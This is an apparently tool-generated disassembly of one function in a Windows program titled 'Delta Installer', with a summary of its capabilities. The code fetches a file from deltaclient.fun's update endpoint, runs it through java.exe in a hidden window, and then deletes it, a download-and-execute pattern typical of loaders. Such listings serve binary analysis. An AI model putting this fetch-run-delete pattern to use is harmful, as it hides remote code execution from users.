Function at 0x140004bf0
Capabilities:
Create process on windows
Delete file
Get common file path
Self delete
Set console window title

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x2e0]
sub rsp, 0x3e0
mov rax, qword [0x1400a2180]
xor rax, rsp
mov qword [rbp + 0x2c0], rax
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov ecx, 1
call fcn.140056424
mov r8, rax
lea rdx, [0x140097c5c]
lea rcx, str.CONOUT_
call fcn.140057958
mov ecx, 0x4e3
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov ecx, 0x4e3
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
lea rcx, str.Delta_Installer_____www.deltaclient.fun
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rdx, [0x140097bd0]
call fcn.140005910
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140004310
movzx edx, al
mov rcx, rbx
call fcn.140005d80
mov rcx, rbx
call fcn.140003e90
lea rdx, [0x140097bd0]
call fcn.140005910
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140004310
movzx edx, al
mov rcx, rbx
call fcn.140005d80
mov rcx, rbx
call fcn.140003e90
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, reloc.WS2_32.dll_listen
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x140097c90]
call fcn.140005910
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140004310
movzx edx, al
mov rcx, rbx
call fcn.140005d80
mov rcx, rbx
call fcn.140003e90
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, 0xa
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x140097ca8]
call fcn.140005910
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140004310
movzx edx, al
mov rcx, rbx
call fcn.140005d80
mov rcx, rbx
call fcn.140003e90
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, 7
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x140097bd0]
call fcn.140005910
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140004310
movzx edx, al
mov rcx, rbx
call fcn.140005d80
mov rcx, rbx
call fcn.140003e90
lea rdx, [0x140097bd0]
call fcn.140005910
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140004310
movzx edx, al
mov rcx, rbx
call fcn.140005d80
mov rcx, rbx
call fcn.140003e90
xor edi, edi
mov ebx, edi
mov qword [rsp + 0x70], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x70]
lea edx, [rdi + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140004e2a
mov rcx, qword [rsp + 0x70]
lea rax, [rbp - 0x50]
lea r9d, [rdi + 4]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x4c]
mov dword [rbp - 0x50], 4
lea edx, [rdi + 0x14]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rbp - 0x4c]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x140004e3a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x140004ef5
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea edx, [rbx + 0xc]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x140097cc8]
call fcn.140004ba0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea edx, [rbx + 7]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x140097bd0]
call fcn.140005910
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140004310
movzx edx, al
mov rcx, rbx
call fcn.140005d80
mov rcx, rbx
call fcn.140003e90
lea rdx, [0x140097bd0]
call fcn.140005910
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140004310
movzx edx, al
mov rcx, rbx
call fcn.140005d80
mov rcx, rbx
call fcn.140003e90
lea rcx, str.pause
call fcn.14005a5ec
xor eax, eax
jmp 0x1400057a2
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x408], r12
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov qword [rsp + 0x3d8], r14
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
lea rcx, [0x140097c58]
lea rdx, [rbp + 0xb0]
cmovne rdx, rcx
lea rcx, [rbp + 0x18]
call fcn.1400057d0
lea rax, [rbp + 0xb0]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], rdi
movups xmmword [rbp - 0x70], xmm0
test eax, eax
jne 0x140004f92
lea rax, [rbp + 0xb0]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140004f80
lea rdx, [rbp + 0xb0]
jmp 0x140004f9c
xor r8d, r8d
lea rdx, [0x140097bd0]
lea rcx, [rbp - 0x70]
call fcn.1400045e0
mov r14, qword [rbp - 0x60]
movabs rcx, 0x7fffffffffffffff
mov qword [rsp + 0x400], rsi
mov r12, rcx
sub r12, r14
mov qword [rsp + 0x410], r13
mov qword [rsp + 0x3d0], r15
cmp r12, 9
jb 0x1400057c8
cmp qword [rbp - 0x58], 0xf
lea rax, [rbp - 0x70]
mov r15, qword [rbp - 0x70]
lea r13, [r14 + 9]
mov ebx, reloc.WS2_32.dll_ntohs
lea rsi, [rbp - 0x48]
cmova rax, r15
xorps xmm0, xmm0
mov qword [rsp + 0x70], rax
xorps xmm1, xmm1
mov edi, ebx
movabs rdx, 0x8000000000000000
lea r8d, [rbx + 7]
movups xmmword [rbp - 0x48], xmm0
movdqu xmmword [rbp - 0x38], xmm1
cmp r13, rbx
jbe 0x140005095
mov rdi, r13
or rdi, rbx
cmp rdi, rcx
jbe 0x140005036
mov rdi, rcx
lea rax, [rdx + 0x27]
jmp 0x140005057
cmp rdi, r8
cmovb rdi, r8
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14000507b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400057c2
mov rcx, rax
call fcn.14004eba8
test rax, rax
je 0x1400057bc
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
mov rax, qword [rsp + 0x70]
jmp 0x140005091
test rcx, rcx
je 0x14000508f
call fcn.14004eba8
mov rsi, rax
mov rax, qword [rsp + 0x70]
jmp 0x140005091
xor esi, esi
mov qword [rbp - 0x48], rsi
mov r8, r14
mov qword [rbp - 0x38], r13
mov rdx, rax
mov qword [rbp - 0x30], rdi
mov rcx, rsi
call fcn.14007c950
movsd xmm0, qword [0x140097d10]
movsd qword [r14 + rsi], xmm0
movzx eax, byte [0x140097d18]
mov byte [r14 + rsi + 8], al
mov byte [rsi + r13], 0
cmp r12, 0x10
jb 0x1400057c8
mov rsi, qword [rbp - 0x58]
lea r13, [rbp - 0x70]
cmp rsi, rbx
lea r12, [r14 + 0x10]
xorps xmm0, xmm0
lea rdi, [rbp - 8]
cmova r13, r15
movups xmmword [rbp - 8], xmm0
cmp r12, rbx
jbe 0x14000517f
mov rbx, r12
movabs rax, 0x7fffffffffffffff
or rbx, 0xf
cmp rbx, rax
jbe 0x140005141
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14004eba8
test rax, rax
je 0x1400057bc
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000517b
cmp rbx, 0x16
mov eax, socket
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000516a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400057c2
jmp 0x140005122
test rcx, rcx
je 0x140005179
call fcn.14004eba8
mov rdi, rax
jmp 0x14000517b
xor edi, edi
mov qword [rbp - 8], rdi
mov r8, r14
mov qword [rbp + 8], r12
mov rdx, r13
mov qword [rbp + 0x10], rbx
mov rcx, rdi
call fcn.14007c950
movups xmm0, xmmword [str.DeltaLoader.exe]
lea rcx, [0x140097d38]
movups xmmword [r14 + rdi], xmm0
mov byte [rdi + r12], 0
call fcn.140004ba0
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x50]
call fcn.140003270
xorps xmm0, xmm0
lea rdx, str.https:__javadl.oracle.com_webapps_download_AutoDL_BundleId250129_d8aa705069af427f9b83e66b34f5e380
xorps xmm1, xmm1
lea rcx, [rbp - 0x70]
mov r8d, 0x62
mov rbx, rax
movups xmmword [rbp - 0x70], xmm0
movdqu xmmword [rbp - 0x60], xmm1
call fcn.1400045e0
mov r8, rbx
lea rdx, [rbp - 0x70]
call fcn.140001d40
lea rdx, [rbp - 8]
lea rcx, [rsp + 0x50]
call fcn.140003270
xorps xmm0, xmm0
lea rdx, str.https:__deltaclient.fun_api_update
xorps xmm1, xmm1
lea rcx, [rbp - 0x70]
mov r8d, 0x22
mov rbx, rax
movups xmmword [rbp - 0x70], xmm0
movdqu xmmword [rbp - 0x60], xmm1
call fcn.1400045e0
mov r8, rbx
lea rdx, [rbp - 0x70]
call fcn.140001d40
lea r8, str.java.exe
lea rdx, [rbp + 0x18]
lea rcx, [rbp - 0x70]
call fcn.140005bf0
lea rcx, [0x140097e08]
call fcn.140004ba0
xorps xmm0, xmm0
mov dword [rbp + 0x40], 0x68
xor eax, eax
lea r8, [0x140097e28]
lea rdx, [rbp - 0x70]
mov dword [rbp + 0xa4], eax
lea rcx, [rbp - 0x28]
mov qword [rbp - 0x78], rax
movups xmmword [rbp + 0x44], xmm0
movups xmmword [rbp + 0x54], xmm0
movups xmmword [rbp + 0x64], xmm0
movups xmmword [rbp + 0x74], xmm0
movups xmmword [rbp + 0x84], xmm0
movups xmmword [rbp + 0x94], xmm0
movups xmmword [rsp + 0x78], xmm0
call fcn.140005bf0
cmp qword [rbp - 0x10], 7
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rdx, [rbp - 0x28]
cmova rdx, qword [rbp - 0x28]
lea rax, [rbp + 0x40]
mov qword [rsp + 0x40], rax
xor edi, edi
mov qword [rsp + 0x38], rdi
xor r9d, r9d
mov qword [rsp + 0x30], rdi
xor r8d, r8d
mov dword [rsp + 0x28], 0x8000000
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140005313
mov rcx, qword [rsp + 0x78]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp - 0x30], 0xf
lea rcx, [rbp - 0x48]
cmova rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rdx, [0x140097bd0]
call fcn.140005910
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140004310
movzx edx, al
mov rcx, rbx
call fcn.140005d80
mov rcx, rbx
call fcn.140003e90
lea rdx, [0x140097bd0]
call fcn.140005910
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140004310
movzx edx, al
mov rcx, rbx
call fcn.140005d80
mov rcx, rbx
call fcn.140003e90
lea rdx, [0x140097bd0]
call fcn.140005910
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140004310
movzx edx, al
mov rcx, rbx
call fcn.140005d80
mov rcx, rbx
call fcn.140003e90
lea rdx, [0x140097bd0]
call fcn.140005910
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140004310
movzx edx, al
mov rcx, rbx
call fcn.140005d80
mov rcx, rbx
call fcn.140003e90
lea rcx, [0x140097e30]
call fcn.140004ba0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, reloc.WS2_32.dll_ntohl
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x140097bd0]
call fcn.140005910
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140004310
movzx edx, al
mov rcx, rbx
call fcn.140005d80
mov rcx, rbx
call fcn.140003e90
lea rdx, [0x140097bd0]
call fcn.140005910
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004310
movzx edx, al
mov rcx, rbx
call fcn.140005d80
mov rcx, rbx
call fcn.140003e90
lea rcx, [0x140097e48]
call fcn.140004ba0
lea rcx, [0x140097e70]
call fcn.140004ba0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, 7
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x140097bd0]
call fcn.140005910
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140004310
movzx edx, al
mov rcx, rbx
call fcn.140005d80
mov rcx, rbx
call fcn.140003e90
lea rdx, [0x140097bd0]
call fcn.140005910
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140004310
movzx edx, al
mov rcx, rbx
call fcn.140005d80
mov rcx, rbx
call fcn.140003e90
lea rdx, [0x140097bd0]
call fcn.140005910
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140004310
movzx edx, al
mov rcx, rbx
call fcn.140005d80
mov rcx, rbx
call fcn.140003e90
lea rdx, [0x140097bd0]
call fcn.140005910
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140004310
movzx edx, al
mov rcx, rbx
call fcn.140005d80
mov rcx, rbx
call fcn.140003e90
lea rdx, [0x140097bd0]
call fcn.140005910
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140004310
movzx edx, al
mov rcx, rbx
call fcn.140005d80
mov rcx, rbx
call fcn.140003e90
lea rdx, [0x140097bd0]
call fcn.140005910
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140004310
movzx edx, al
mov rcx, rbx
call fcn.140005d80
mov rcx, rbx
call fcn.140003e90
lea rcx, str.pause
call fcn.14005a5ec
mov rdx, qword [rbp - 0x10]
cmp rdx, 7
jbe 0x14000562d
mov rcx, qword [rbp - 0x28]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005628
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400057bc
call fcn.14004eba0
mov rdx, qword [rbp - 0x58]
movdqa xmm0, xmmword [0x140097ea0]
mov word [rbp - 0x28], di
movdqu xmmword [rbp - 0x18], xmm0
cmp rdx, 7
jbe 0x14000567e
mov rcx, qword [rbp - 0x70]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005679
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400057bc
call fcn.14004eba0
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x1400056b9
mov rcx, qword [rbp - 8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400056b4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400057bc
call fcn.14004eba0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x1400056f4
mov rcx, qword [rbp - 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400056ef
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400057bc
call fcn.14004eba0
movdqa xmm0, xmmword [0x140097eb0]
mov byte [rbp - 0x48], dil
movdqu xmmword [rbp - 0x38], xmm0
cmp rsi, 0xf
jbe 0x14000573c
lea rdx, [rsi + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140005734
mov r15, qword [r15 - 8]
add rdx, 0x27
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400057bc
mov rcx, r15
call fcn.14004eba0
mov rdx, qword [rbp + 0x30]
cmp rdx, 7
jbe 0x140005778
mov rcx, qword [rbp + 0x18]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005773
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400057bc
call fcn.14004eba0
mov rsi, qword [rsp + 0x400]
xor eax, eax
mov r13, qword [rsp + 0x410]
mov r15, qword [rsp + 0x3d0]
mov r12, qword [rsp + 0x408]
mov r14, qword [rsp + 0x3d8]
mov rcx, qword [rbp + 0x2c0]
xor rcx, rsp
call fcn.14004eb80
add rsp, 0x3e0
pop rdi
pop rbx
pop rbp
ret
call fcn.1400577e8
int3
call fcn.140001250
int3
call fcn.1400012f0
int3